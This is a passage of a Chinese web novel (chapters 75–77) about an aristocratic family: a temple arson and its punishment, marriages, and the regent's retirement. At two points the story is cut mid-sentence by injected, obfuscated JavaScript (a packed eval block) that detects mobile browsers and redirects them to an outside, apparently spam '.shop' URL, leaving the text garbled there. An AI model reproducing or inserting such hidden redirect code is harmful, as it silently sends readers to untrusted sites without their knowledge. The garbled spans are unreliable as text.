“我也不知道。可能会被禁足在家,或者跪祠堂罢?但我觉得咱家的老祖宗其实不是很在乎这个。” “这是怎么知道的?” “嗯......就是凭感觉。好啦,来都来了,担心那些干什么,不如先猜一猜四哥在哪一户躲着。” 她们在巷口下了马车,这会儿刚过正午,许多人家门都是开着的,一眼便能看清里面的情况。不过每每她们与人对视,得到的都是防备的眼神,盯得二人心中发毛,脚步也快了好些。 直到快走到巷子尽头,她们才发现一处虚掩着门的小院。院中一棵腊梅开得正好,枝丫伸出院墙,多多花儿像笑呵呵的小姑娘,娇媚喜人。 “就是这里!这花儿的味道就是四哥那天戴的香囊的味道。” 师言那只材质、绣样都与师家人惯用的不同的香囊一下子就吸引了师棠欢的注意,硬是向他讨了过去看了闻了才罢休。想来师言彼时也未想到这会成了妹妹揭露他秘密的证据,不然宁愿烧了也不会叫她得手。 师薇欢看着那梅花,正琢磨是爬上墙看看情况好还是从门缝观察好,便听得耳边一声清脆的“四哥”伴着开门的“吱呀”声响起:“呀,她就是竹江月吗?” 从明苑帮师琦将他藏在那里的二十两银子取出来,沉甸甸的银子带着土腥气抱在怀里,倒叫师薇欢惴惴不安的心中多了几分好笑。 她还没大弄明白师琦是如何传的消息,毕竟在长辈们看来他现在合该“杳无音讯”了才对,不过想来大概也是颇费力气罢。 把东西从东侧门送出去,她才放下一颗心,优哉游哉地往回走,心里还琢磨着怎么敲诈师棠欢一番,毕竟师琦这差事原本是交代她做的,却迎面撞见师言从崇礼阁后绕出来。 她心里尴尬,却躲无可躲,只得乖乖巧巧行了个礼。师言却好似看出她的心事,抬手摸了摸她的头,道:“怎么,怕我?” 师薇欢猛地摇了摇头。 她只是心中总觉得对不起师言,毕竟是她与师棠欢贸然闯到那院子里,打搅了师言的好事。 “我又没怪你们。何况你们虽晓得了,却没去告发,说起来我倒该感谢你们了。” 师言笑得很和善,倒让师薇欢心里更不舒服起来,低头想了好一会儿,才道:“四哥,那你日后打算怎么办啊?” “什么怎么办?” “和宁郡主啊。”吉日定的是今年冬月二十,算起来也不过就是几个月的功夫了。 师言的眼中蒙上一层阴翳,沉声道:“她是个疯子,不必管她......你不晓得,来日她嫁过来,你只少与她相处就是。” 师言对端木槿的态度,师薇欢倒是猜了个八九不离十。至于端木槿其人,她也在几个姐姐那里听了个七七八八,只叹道:“那么,那位竹姑娘呢?” 耳畔蓦地吹起几丝凉风,师薇欢感到脸上有星点的湿意,仰头看去,又未下雨。 “大概就在采珠巷罢。” 那便是外室了。 其实这种事情在京中纨绔之间并不算什么了不得的大事,硬要说上不得台面也太牵强。对和宁郡主来说,只要不威胁到她的地位,想来她也不会太当回事。可放在师家,瞧瞧那位师薇欢至今也未曾谋面,只是在他人口中听过寥寥数语的陈姨娘,便能推断出若是此事被师霖与端木萌晓得后的下场了。 “若是被娘晓得,怎么办呢?” “我也不知道。”师言惨笑道,想了一会儿,又叹道:“在这些事上,我有时候倒不晓得是娘太偏执,还是我们太偏执......若是姑姑在就好了。” 75.第 75 章 “归县来的信。” “说什么?”师霖并不看去,只低头挑着新得来的北边进贡的七把银鞘短刀,挨个儿拿在手上比划了半天,才挑出来一把趁手的,便教人将剩下的给几个哥儿分了。 “只说都安顿好了,无需挂念。” 师霖冷笑一声,道:“他们这下子可是一身轻巧了,真是‘抛却前尘’,什么都不顾了。” 端木萌皱眉,道:“这又不是什么坏事,你这会儿在这儿说风凉话做什么?” “他们走得容易,史书上的骂名可就得推给我这个监国的太傅了。彼时,什么‘权贵’、‘外戚’的,谁晓得能编出来些什么。” “省省吧,你又不在乎这个。何况过几年你终归是要还政于今上的,到时候干脆再将这官位抛了,余生不过问朝政,不就得了?” 端木萌不是很理解近些日子师霖究竟在别扭个什么劲儿,又要忙着筹备师玘和师言的婚事,诸事攒在心头乱纷纷的,口中语气也难免不耐烦起来。 “我倒真有此意。”师霖将短刀缓缓拔出刀鞘,开了刃的刀闪着寒光,刀面洁净的像块冰,映出他自己一个模糊的人影儿。“最好是寻一个无人认识的去处,免得来日烦心。” 端木萌低头半晌,叹了口气,悠悠道:“真的无法挽回了么?” 师霖“唰”的一声收刀入鞘,道:“淮阳的义军已经发帖北上,如今我们往逢州去信都要绕路到度州、楚州一带,甚至不日兴许就非要取道岭南不可了。国将不国,朝中皆是无能之人,谈何挽回呢?” 天干物燥,小心火烛。 天干物燥,小心火烛...... 师薇欢蓦地惊醒。 “怎么了?”师棠欢被她扰醒,半坐起身揉了揉眼睛,“你是做噩梦了么,今夜从睡下就翻来覆去的......怎么出了这么多汗?” 师薇欢大口大口喘着气,一颗心莫名揪紧,断断续续道:“我也不晓得,只是莫名觉得不安。” 师棠欢叹了口气,起身将窗子阖上,道:“兴许是虫鸣太闹人罢了。” 端午时师棠欢与齐王次子平阳郡王端木澈定亲后,突然生发出一种将要离家的悲凉,便日日拉着师薇欢一起睡。如今睡过了炎热的夏日,入了秋这两日,师薇欢便总是没有缘由地睡不安稳。 “罢了,左右睡不消停,我想出去走走。” 师棠欢打了个哈欠,转身重新埋入被中,只嘟囔了声“把外裳穿上......”就又沉沉睡去。 师薇欢心绪不宁,走到外面取下外裳缓缓披在肩上,手指触摸着衣襟上繁复的锦纹,满头的思绪也像这纹路一样崎岖不平,仿佛还在为方才的梦魇惊骇,又仿佛是有什么要紧事被她忽略忘却,叫她直想把心掏出来问一问,究竟为何不肯安宁。 她叹了口气,孤身走到屋外,秋夜的凉风钻入衣衫,冻得她更清醒了几分。怕在屋外徘徊逗留惊醒父母和师棠欢,她便出了留容轩的院子,慢慢踱步到东侧院去,意外发现东侧门竟开着一道儿缝,外面隐隐有些人声和亮光。正巧一队守夜的人从南面过来,见到师薇欢也是一惊。 “这么晚了,外面是什么事?” “没什么事,只是听说南面什么地方好似走水了,侯爷吩咐留了些人以备不时之需。夜里天寒,七姑娘您还是快回去歇息罢。” “你们做你们的事就是,不必管我。”她心中好奇,想找个地方瞧瞧是什么地方走水,可她还没有不靠梯子爬屋顶的本事,家中高处又都在前院,她远远瞧了瞧家祠附近那片杨树,顿觉阴森,可要绕开家祠走她在这夜里又不大能分得清路,只好作罢。 这么折腾了一会儿,几分倦意也上了眉头。她紧了紧身上的外衫,放轻脚步溜回西厢,重新在棠欢身旁躺下,好在这次不多时便进入了梦乡。 次日晨起,姐妹二人照常梳洗过后,到正房去给端木萌请安。 早上素来是端木萌最为忙碌的时候,好在如今言晓风逐渐接手了一些家中事务,也叫她能稍作歇息,不过这一早请安的时间便也从各种闲话变成了听言晓风向端木萌汇报诸项琐事,显得无聊了许多。 步成安如今倒尚且没什么事要分担,乐得与这几个妹妹玩上一玩。几人移步至蒹葭馆,四散着坐在廊下闲聊。 “昨夜外面一直乱哄哄的不得安宁,我今早特意叫人去打听了,你们猜是怎么了?” 步成安人好是好,就是总喜欢话说一半吊人胃口。 “我半梦半醒,似乎也听到些声响,还以为是有人偷东西被巡夜的抓了,起了争执。” 师薇欢叹道:“好似是哪处走水了。父亲多派了些人巡夜以备不时之需,兴许也有人去帮忙救火,才弄出许多声响。” “的确是走水了。”步成安道,“听说是城南江对面一处道观,明明四周又没有其他人家,孤零零的,也不晓得为何会着那么大的火。今早我听庄子上回来的人说已经烧的只剩半个空壳了,也不晓得里面的人如何......七妹妹,你怎么了——” “薇欢,薇欢!”师棠欢眼见着师薇欢直愣愣地站起身,旋即一个激灵就冲了出去,她紧跟着追出蒹葭馆,却已看不见人影,也顾不上对步成安解释,直跑回留容轩去,打断了言晓风的话向端木萌道:“娘,七妹妹回来过没有?” “没有。怎么了?” “啊呀!二嫂嫂方才说,昨晚江浪观走水,七妹妹听说后便跑走了,我没能追上——许是,许是已经出门往江浪观去了!” “快派人去追!” “七姑娘,东侧门外面有人找,是一位姓宁的姑娘。” “知道了。”师薇欢起身,看了眼身后想要跟过来的绮香,木然道:“不用跟着我。” 独自一人到了东侧门外,只见一个穿着水绿布裙的少女站在一辆青帷马车前,见到她,眼睛先是一亮,转瞬便又恢复了原先一团死气的样子,也不张口言语,只是示意她上马车。 师薇欢也不多言,径直提着裙摆上了马车,见到车中坐着的人,便再也忍不住什么,直直扑到他怀中,连一声完整的“偃哥哥”都未能说出口,便已泣不成声。 韩偃眉头紧锁,只是拥住师薇欢,手掌轻拍在她的背上,默不作声地等她发泄。 师薇欢手扶在他肩上,哭得脱力,便紧揪着他的衣裳,越揪越紧,直到觉得指甲要裂了,鼻子也几乎呼吸不了了,才慢慢从他怀中出来,接过手帕擤了擤鼻涕,却仍不断地抽泣。 韩偃自怀中取出一封信,递给她道:“这是路津师兄托人留给我们的。” “路津师兄......他现在在哪儿?” “他独自一人去了童府,要为大家报仇,被童府的人抓到当场杀死了。”韩偃的声音凉的像师迟前些天送给师薇欢的那把刀,直直地刺在她的心上。 “怎么能当场杀死,这不是滥用私刑吗!官府,官府怎么——” “官府?官府怎么会管这种事。”韩偃冷笑一声,又道:“你回家这段时候怕不是见惯了那所谓‘官府’对你们家的人溜须谄媚,竟忘了他们都是什么货色。” 师薇欢猛然瑟缩了一下,急忙道:“我去找我爹娘,他们,他们定会有办法!” 韩偃却还是一副冷淡的样子,默默盯了她一会儿,才道:“我们除了这封信之外什么证据都没有。何况,即便你父母信了,想来也不会做什么。” 师薇欢对他的话仿若未闻,整颗心只剩下要去找师霖与端木萌陈情的念头,抹了抹脸上的泪痕便翻身下了马车,迎面撞上宁碧水,才又一顿,却也没心思多言,径直跑回了家中。 “童扬和童绮么?”端木萌沉吟道。 师薇欢猛地点头,道:“女儿已经托人打听清楚,那夜就是他们姐弟二人在观中留宿,而后便走水了......娘,只说若是意外走水,怎么童氏的人都好好的,连行李都不曾烧毁一件,江郎观中的人除了那日住在外面的路津师兄外却没有一人能幸免呢?” 端木萌皱着眉,又将那信看了一遍,问道:“你这师兄既然当晚不在观中,怎会晓得观中发生了何事?” “他找到了童府上一个当晚跟着侍候的小厮,从他口中问明了经过。娘,我那师兄素来忠厚老实,是万万不会说谎的。” 师薇欢吸了口气,接着道:“童扬奸杀我师姐折鹤,又将赶来阻止的木橼师兄杀害,随后为了灭口,他们姊弟又命人放火烧了江浪观,观中其他人皆被困在里面活活烧死。路津师兄去寻仇,童氏的人又滥用私刑将其直接杀害......娘,死去的人都是从小抚育我长大的,虽无血缘,也似至亲。女儿不求他们能死而复生,只是想替他们求一个公道!” 从前她一直担心家中人介意,只要他们不主动问起,便从来不会开口说有关江浪观的事情,更不会这般剖白自己对观中那些人的感情。今日这番话出口,心里已有些破釜沉舟的感觉了,沉沉一个叩首,伏在地面上,半晌,才听见端木萌叹了口气,道:“快起来吧。我会去与你爹爹商量处理这件事的。” 师薇欢登时松了口气,忙道了谢。 端木萌拉过她的手,看着她泪痕未干的模样又是一叹,道:“难为你了,薇儿。且去洗把脸用饭罢。” 两日后,端木萌带着言晓风亲自去了趟童府,拜访了童氏家主朝议大夫童有贤的夫人许氏与她的几个儿媳。 童家长子童博娶的是师琦未婚妻成绰仙的姑姑成居溪,是以若以此论亲,端木萌倒是该称许夫人一声“世姑”。不过那许氏自是不敢在她面前称大,一改往日里尖酸刻薄的样子,反倒是有些唯唯诺诺起来。 端木萌亦懒得与她废话,直接叫言晓风将江浪观的事讲了,才开口道:“许夫人,你也该听说过,我膝下幺女自幼体弱,是在江郎观中修行长大的。江浪观于我师家有恩,此番却遭此劫难,总该有个交代才是。” 许夫人听了言晓风的话后已是脸色煞白,但闻此语,更是吓得胆颤,一时竟像是不会说话了似的,只是不断点头。 陪坐在一旁的成居溪见了,便开口道:“殿下,恕臣妇僭越。眼下江浪观既已被烧毁,人死亦不能复生,不如由童氏出资重建,为三清重塑真身,并将死者厚葬。当日在场的家奴便发卖了,或是听凭您处置。” 言晓风看了眼端木萌,向成居溪道:“当日在场的家奴放火杀人,见死不救,依我朝律法,自该处死,家属徒三千里。可是我想那些家奴也是受人指使才敢犯下这样的大祸,成姐姐,你说是也不是?” 成居溪立刻开口应道:“言妹妹说得不错。婆母,事已至此,该如何惩处三妹妹和五弟,还得您有个决断了。二弟和三弟都才进了太学,若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285073|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是教旁人晓得他们的兄弟做下这样的错事,只怕要受人排挤耻笑了。” 说罢,又深深地叹了一口气,看了眼身旁的宋娆和刚嫁进来不久的三少夫人谭氏,再收回视线,只做无可奈何状,不再言语。 谭氏见状,急道:“婆母,国有国法,家有家规——事已至此,您还要继续包庇三妹妹和五弟吗?难道为了他们,家中其他子孙就全部顾了吗?” 童扬本是嫡出幼子,是许氏高龄怀胎,拼了命才有的孩子,从小要风是风要雨是雨,只要一个不顺着便作天作地,闹得全府上下不得安宁。童绮则是许氏所生的唯一一个女儿,自幼骄奢跋扈,肆意欺凌庶出姊妹,纵是弄出人命,也自有许氏替她遮掩隐瞒,因此愈发无法无天了。 那童有贤是个只会花天酒地的,早年还能定下心思谋财经商,这些年家业做大,又捐了官、当了皇商,和旧时瞧不起他的名流世族结了亲,便一心只贪图享乐了。至于后宅诸事,则完全是甩手掌柜,一概不闻不问,全权交由夫人许氏打理。恐怕连自己到底有几个子女都说不清了。 谭氏见许夫人仍在犹疑不定,又道:“婆母!三妹妹和五弟是您所出,难道二哥与我家三郎便不是您所出了么?” 许氏捂着胸口,试探着看向一脸气定神闲喝着茶的端木萌,连叹了两口气,道:“殿下,此事原是子女犯下的过错......”说着,又瞟了一眼端木萌,见她变了脸色,忙又高声喊道:“来人,将那逆子逆女送到家祠,请——请家法来!” 端木萌这才放下茶杯,起身拂了拂衣裳,道:“许夫人,接着是你的家事,我们便不逗留了。” 许氏忙也跟着起身,与三个媳妇恭恭敬敬将她们二人送上马车,这才转头,一扬眉毛,一个巴掌打在谭氏脸上,又啐了成居溪一口,骂骂咧咧地往家祠去。 成居溪脸色一暗,却未说话。那谭氏是将门出身,年轻气傲,怎忍得了这一下,当即拉住许氏的袖子,便是一个巴掌还了回去。 许氏被这一下子震得半天没回过神,缓了好久,这才颤巍巍捂住自己的脸,另一只手指着谭氏道:“好啊你,你,你要反了不成!来人,来人啊,把她——” “婆母,您省省吧,在大长公主殿下面前装的那副样子,不知道的还以为是您受了委屈。师家是什么人家,想来今日若不是看在大嫂嫂的面子上,大长公主都不必费这两步路的力气,直接给今上递句话去,满门抄斩也不是不可能!三郎才进了太学,您要是不惩处三妹妹和五弟,改日师家不满意了,将这事儿宣扬出去,三郎的仕途可就没指望了。今日我便把话放在这儿,您要是不拿个决断出来,干脆分家好了!” 宋娆半个身子躲在谭氏口面,哭哭啼啼,道:“婆母,二郎前几日才被监正夸赞......” 许氏尖叫了一声,只喊道:“都滚,都给我滚!”便扭身回了房去。 成居溪看了那两个弟媳一眼,便也冷冷淡淡地回了自己院子,只留谭氏站在原地,犹觉不解气,回身倒将气往宋娆身上使去了。 院子里的菊花很快开败了。花匠又换上了好几盆新的品种,据说能挨到初雪。 师棠欢昨日新得了归县来的信,是专意帮她挑的江南一带最新时兴的花样子,于是她今日一整日的时间便都归了绣娘。 只剩师薇欢独自一人坐在院子里的秋千上,有一下没一下地晃悠。 昨日绮香特地来厢房告诉她,童氏以家法惩处了童绮和童扬。童扬被打了四十大板,遣送回了夅州老家关了禁闭。童绮则是在祠堂罚跪三日,待到童氏出资将江浪观重建,她便须得到观中修行,年满二十才得出来。至于“涉事”的全部家奴,奴籍都被送到了她手中,任她发落。 “依律该如何办?”她仰头问绮香。 “依律当徒三千里,后世子孙永不得脱奴籍。不过现在他们的籍契都在姑娘手中,自然听凭姑娘发落。” 师薇欢低下头,翻了翻那些籍契,道:“我听闻西南苗疆有瘴气,异乡人过去最多半年就会因此而亡。便将这些人连同他们的家眷都发往那里吧。” 绮香闻言一惊,面上不动声色,接过她递来的籍契,道:“我这就叫人去安排。” 阖上门时,她抬头望向独自坐着的少女,眼中满是清冷淡漠,以及,令她胆寒的杀意。 如果能处置的话,她想师薇欢是会把童扬童绮甚至童家所有人一并这样发落的——不,兴许他们的下场会更惨。 师薇欢的确这样想。 她幼时跟着师兄师姐到邻村换东西时,曾听说村子里有人被屠了门,因为那户人家仗着舅公是县太爷强抢了那县上一家人的女儿为妻,娶进门后又对她日日打骂,甚至关在柴房不给饭食,不到半年便把人折磨至死。 童氏也该灭门才对。 她知道因着成氏、官氏等的关系,师家和童氏连着转折亲,是以不好弄得太过。 又或者,是因为师霖和端木萌也根本不在乎江浪观那几条人命,觉得没必要为此认真追究。 师薇欢咬了咬有些干裂的唇,站起身摇摇晃晃回了厢房,喝了几口剩茶便胡乱倒在榻上睡了过去。迷糊间好似有人来把她的脉,给她喂药还是参汤,又为她擦拭着滚烫的身子...... “师父,师父......折鹤姐姐......” 76.第 76 章 初雪落在了新娘子的红嫁衣上。 “诶,你就是七妹妹的新侍女吧?七妹妹她人呢?”师棠欢戴着灰鼠皮兜帽,顶着一脑袋的雪跑回留容轩,整个院子里的人都到前院去侍奉和帮忙了,只有一个穿得有些单薄的瘦小的女孩儿在已经覆了一层薄雪的台阶上写写画画着什么。 听见师棠欢问话,那小丫头像是吓了一跳,匆忙站起身,却只是摇了摇头。 师棠欢微不可察地颦了下眉,道:“你不会说话吗?” 那小丫头又点了点头。 师棠欢叹了口气,道:“罢了,你知不知道七妹妹去哪了,知道就给我指个方向。” 见她指了指东边,又指了指正房,师棠欢一头雾水,琢磨半天也没琢磨出来,见她一副呆呆愣愣的样子,又叹了口气,想着师薇欢与她说捡了个孤女,心生怜悯,便带回央着母亲做了自己的侍女,便也懒得与她多周旋,只道:“算了算了,一会儿你要是见到她叫她去梅园就好了,闻霏姐姐和成家小姑姑都在那儿。” 目送着师棠欢走远了,宁碧水才松了一口气。 她当然知道师薇欢在哪里。她如今压根就没在家中,而是去了韩偃在京中新置办的宅子。 想着若是她久久不归,万一引得师棠欢等人又回来寻她便不妙了,宁碧水趁着无人注意她,也悄悄自角门溜了出去。 看见那抹碧色衣裙消失在转角,绮香这才从阴影处走出来,站在雪中若有所思。 雪只下到夜半便渐渐停了。 炉膛内的火仍旧熊熊燃着,火舌像柔软的绸缎包裹着银霜炭,一点一点蹦着火星。 白日里与姐妹们玩得尚不尽兴,师棠欢旧旧不肯入睡,披着锦被坐在炉边,小声却又兴致勃勃的与师薇欢讲着明日新妇面见小姑时要怎么捉弄端木槿。师薇欢只穿着中衣陪她坐着,到不怎么觉得冷,心中思索着那日师言的模样神色,心底倒有些不安。 “你听没听见什么声音?” “什么?”师棠欢侧着耳朵仔细听了听,问道:“是烧炭的声音,还是外面?兴许是前头还没收拾完罢。” 师薇欢抿唇想了想,道:“倒像是四哥院子里的声音。” “怎么会。隔了这么远呢,能听见什么呀。”师棠欢不以为然,想了想,又道:“不过,你说,虽是新婚之夜,依着四哥那个倔脾气,会与端木槿同塌而眠吗?” “什么啊——”师薇欢红了脸,推了推师棠欢:“你虽定了亲,可还没嫁人呢,口中说的都是什么话。” “罢了罢了。”师棠欢妥协,又慨叹道:“再有一个月闻霰姐姐就要嫁过来了。大嫂、二嫂,连同她,可都是厉害角色。到时候有这三个嫂子顶着,想来那端木槿也兴不出什么风浪。” 师薇欢见她一副咬牙切齿的样子,倒觉得有点好笑:“我记着你从前也没见过她几次罢,怎么如此与她过不去?” “我就是对她喜欢不起来——哪怕明日才是初见也是如此。何况我不喜欢的人多了去了,只是她刚好要到我眼底下罢了。” “联姻而已,又不是她非要嫁给四哥。” “谁知道在涯州到底发生了什么,竟能让四哥答应联姻!而且,你怎么一直为她说话啊,你必须跟我同仇敌忾才行!” 师薇欢方才原也只是嘴上一来一回地回着她的话,心里真正牵挂的全然是另一桩事,此时也便乖顺地表示一定会与她“一致对外”。 师棠欢打了个哈欠,抱着她嘟囔道:“如果爹娘叫你联姻,你不喜欢,你一定不要答应啊。我会去帮你说的。我永远希望你快乐。” 师薇欢心头一动,却看她已经困得睁不开眼,便哄着她早些去睡了,可自己躺在榻上,眼睛是闭上了,心里的事儿却像走马灯一样转个不停,迷迷糊糊的直到次日起来,竟搞不清楚自己究竟是睡了还是没睡。 撑着精神应付完了端木槿,师薇欢木着眼睛盯着师言与她并肩快要走出院子的背影,突然来了精神,快步跑上前拽住师言的胳膊,道:“四哥,我有话和你说。” 午后,日头正盛,集德堂内亦被照得暖融融的,呼吸间都是阳光、熏香和烧炭混合在一起的味道,催得人昏昏欲睡。 师霖喝了口茶提神,不动声色打量了一番面前站着的少年,身量很高,大概比他还要高个半头。打眼望去,也是剑眉星目,但与其说是俊朗,倒不如是冷峻,神色有些严肃疲惫,又有些紧张不安,只是没有什么朝气,瞧上去也不好接近。未及弱冠的年纪,倒似是比他那两个不争气的儿子看上去沉稳得多。 “薇欢已与我说过你的事。”师霖冷不丁地开口,“你自己怎么想?” 韩偃道:“诗书礼易一则晚辈稍有欠缺,但自小随人习武,还算可用。若太傅不嫌,可将晚辈收在身边,做个侍卫随从,只要能跟着太傅长些见识和本领就行。” 师霖观他举止,确有习武的痕迹,道:“做侍卫倒不必。泉郡我有些生意,便由你去替我处理了罢。” 韩偃愣了愣,立刻道:“晚辈谢过太傅。” “谢我倒不必,你倒不如去谢谢门外那两个。” 师言和师薇欢闻言,双双从门边弹开,互相对视一眼,师薇欢高兴道:“四哥,这么说,爹爹是同意了?” 师言笑了笑,眼睛像桃花荡开春水,“是同意了。以后韩偃在外便可以阳曲侯门生的名义。不过爹既然只安排他去处理泉郡的事,而没有叫他留在身边,想来兴许是看出他并非池鱼,也算给彼此留个余地罢。” “什么意思?” “待他办完这桩事,若是不想继续为师家做事,自可离开。能从这桩事中学到多少,得到多少,就看他自己的本事了。”师言解释道,又摸了摸师薇欢的头,笑着说:“爹可不常待人如此宽厚,这次可全是看在你的份上了。” 过了年关,须臾间春风吹彻穹野,又是须臾,南熏已至。 师家双生女的及笄礼自是热闹非常,贺礼中光是送来的各类稀奇的鸟雀养在后园都聒噪不已。自家人中,虽师焕和师玘在任上未能归来,但师婷欢、师景安和师莞安皆归宁庆贺,姐妹几人相聚,自是欢喜热闹非常,全家上下其乐融融,亦叫旁人羡慕不已。 傍晚众人各自散去歇息,师棠欢更是累得一头栽倒睡去,师薇欢自己回了东厢,宁碧水这才将早藏在枕头下的匣子拿出来,示意师薇欢打开。 “偃哥哥给我的?” 宁碧水点了点头。 师薇欢面上露出些羞赧,又努嘴示意宁碧水到门边守着,这才小心翼翼打开匣子,只见里面是一支靛蓝掐丝珐琅做的蔷薇花的簪子,另外一张纸条,字迹洋洋洒洒,内容却言简意赅:“及笄贺礼。” 师薇欢立刻拿着簪子坐到妆台前,对着镜子小心翼翼插到发髻上。小小的蓝花隐在黑发间,一点不及那些纯金镶红宝石的珠花和上好的羊脂玉笄耀眼,却像她轻盈跳动的心不容忽视,像喜鹊,像浮云。 她正左右欣赏,却听见宁碧水低声咳嗽了一声,忙从镜子前离开,随后便见绮香推门进来,道:“七姑娘,刘氏夫人要走了,夫人叫您跟着去送一送。” 师薇欢眼中的光慢慢熄了,淡声道:“晓得了,我这就去。” 宫里的桂花开了。 “若是母后还在宫中,现在坤宁殿一定又是房前屋后晒满了新采的桂花。” 端木玦示意吴怀安给师霖斟上桂花茶。 师霖微微躬身受了茶,慢品一口,道:“这茶的味道虽与从前不一致,但也别有新意,清新可口。” 端木玦轻轻笑了笑:“这是皇后做的。” 曹唤容被册封为后之后便入宫居住,出席典仪,并在太妃的帮助下学习处理后宫事务。及至今年端木玦年满十五,帝后甫才圆房,江太妃亦不再代理后宫事,并率先帝后妃自请移宫。 “陛下与娘娘琴瑟和鸣,我等便也可放心了。” 端木玦愣了愣,手指转着茶杯,沉默半晌,才道:“舅舅一定要离开吗?” 师霖面色未改,却轻叹了一口气,只道:“臣受先帝嘱托,辅佐陛下理政,是因为陛下昔日登基时年纪尚轻。如今陛下已经长成,岂有臣这个外姓人一直监国的道理。”他停顿片刻,似是在犹豫,才接着道:“臣少年时自恃有父兄担起家族重任,便不务正业,只知饮酒作乐打发时间。及至父兄皆逝,不得已临危受命,这才悔过,从头学起,如今勉强通得义 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285074|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理,但论起才干,却远不及前人。臣,自知只是庸才,担不起此等大任,早早退开,也好让贤。” 端木玦苦笑一声:“太傅若说让贤,贤才又在何处?太平年景,自需治世能臣,如今怕是只能等来乱世枭雄了罢。” 师霖沉默不语。 “太傅若隐退,想必也不会再居住在京城了罢?” “是。” “可要回逢州?” “也许会。又或许云游他处,若遇到合宜的地方,再定居也无妨。” 端木玦慨叹道:“真羡慕啊。” 师霖低下了头。 “母后那日问我,有朝一日会不会恨你们。彼时我说不会,可这几年午夜梦回,我总会心生惧意,待醒来时,难免就也有了恨。”端木玦徐徐说着,像个少年人,又似是已步入迟暮,沧桑老矣。 师霖更加讲不出一句话来。沉默半晌,直到茶水彻底凉了,吴怀安要上来填茶,端木玦却挥手示意他退下,又叹了口气,像师霖道:“朕会全太傅之愿。” 师霖这才起身朝端木玦行了一礼,恭声道:“臣祝祐陛下安康永乐,福寿绵长。” 元安二年九月二十三日,上年十五,太傅师霖辞监国事,允。 次年二月,霖再上表请辞太傅任,允。 师霖既已辞官,赋闲在家,干脆拒不见客,日子顿时过得清闲滋润起来。 而言晓风等人接过管家的担子后,端木萌除了偶尔把个关、做个决定外,几乎无需再理会家里家外的杂事。过年时她更是正式将管家钥匙移交给言晓风,看着这个眉目间尚且有些稚嫩但却聪慧稳重的长媳,好似看见唐烨和萧晨再世,端木萌心中又是酸涩又是欣慰,欣慰过后就愉愉快快和端木婉一起“享受天伦之乐”了。 比起她神采奕奕仿佛年轻了十岁一般的样子,端木婉却是肉眼可见的越发苍白憔悴起来,仿佛秋末树梢上零星的叶子,风一吹就飘摇着掉下枝头,只消一碰便粉身碎骨了。御医来看了好几次,也说不出什么大病症,日日滋补的药吃着却也没什么效用。 期初她希冀着药物可以缓解自己身上的痛楚,日子久了,这份希冀也渐渐熄灭,但为着不叫众人担心,还是按时用药,直到师玘也娶了亲,带着新妇回到任上,她才像了无牵挂了一样,时常推脱御医请脉,甚至药也是有一顿没一顿的吃着。 端木萌心里着急,却又不想逼迫她,只是赶着她清醒的时候来陪她,絮絮叨叨说着些趣事,赶她也赖皮不走,只待她倦了要歇息,才“从善如流”地离开。 师霖听了她的状况,提议端木萌可以用端木婉的几个孩子为由劝她积极治疗,端木萌却想了许久,道:“二哥走的时候,镜妤的样子和当初四弟妹的状况一般无二,想来这么些年都是这个理由一直在支撑她。如今她的牵挂好容易放下了,仍叫她这般为着别人一直撑着,于她,或许才是不公罢。” 师霖沉默良久,仍是道:“叫婷儿写信,让景安带着从稷和行迈回京一趟罢。” 端木萌应了,却又露出一抹惨笑,道:“我瞧着,是时候叫昭昭和三哥儿都回来了。” 信一一写好送出去,没到半个月的功夫,岳添与师景安从蒲城带着五岁的长子岳从稷和两岁的次子岳行迈、师莞安从昌县带着两岁的长女景礼和还没到一岁的幼子景祯,还有官闻霰从池州带着长子师子瑜先后回到了京中。 景琮和师玘各自在任上,一时倒走不开。 虽然嘴上说烦,但端木婉却比原先瞧着精神了许多。 家中一时也热闹了不少。如今师霖与端木萌仍住着留容轩,师焕和言晓风与他们的长女师令闻和次女师令望住着留瑞轩,师迟与步成安并长子师步住在留润轩,官闻霰带着幼子住在留源轩,师言和端木槿住留辰轩,师琦和成绰仙住留禹轩。留华轩仍是师幼芷和师幼桐姐妹住着,师莞安却只把两个孩子放在留岁轩叫嬷嬷和奶娘照看,自己直接搬进岁苍斋的西厢住。师景安偶尔留宿,便住在留源轩的西厢,与岁苍斋紧挨着,也好照看,但大多时候还是回京中岳氏的旧宅住。 这般热闹到师棠欢和师薇欢一一成了亲,热闹到端木婉在初秋虫鸣的夜里在睡梦中永远离开人世。 77.第 77 章 写好落款后,端木萌轻轻放下笔,静静地等待墨迹阴干。看着泛着水光的字一点点变成沉寂的浓黑,她伸手将信一点点折好,压实,好似这些动作已经费了她好大的力气,她重重叹了口气,将信递给行湘,道:“送去归县罢。” 行湘应声,随后又道:“侯爷方才命人传话,他已经温好了酒,在蒹葭馆等您过去。” “知道了。” 端木萌随手取下一件竹纹淡鸭青色的披风披上,打开门,天色已有些暗了,她顿住脚,犹豫了片刻,还是回身提了灯,独自一人走进暮色里。 蒹葭馆里,师霖亦是独自一人坐着。桌上放着一壶温好的酒,并两碟下酒的小菜。 端木萌坐到他对面,将灯随手放在地上。 师霖倒了一杯酒递给她,举起自己倒好的那杯酒,两人碰了杯,各自喝下后,师霖道:“诸事已了,离京的事,也该提上日程了。” 他顿了顿,眼神中染上一丝小心和试探,道:“若是你想留在京城——” “我当然要与你同去。”端木萌没有犹豫,“无论去哪。” 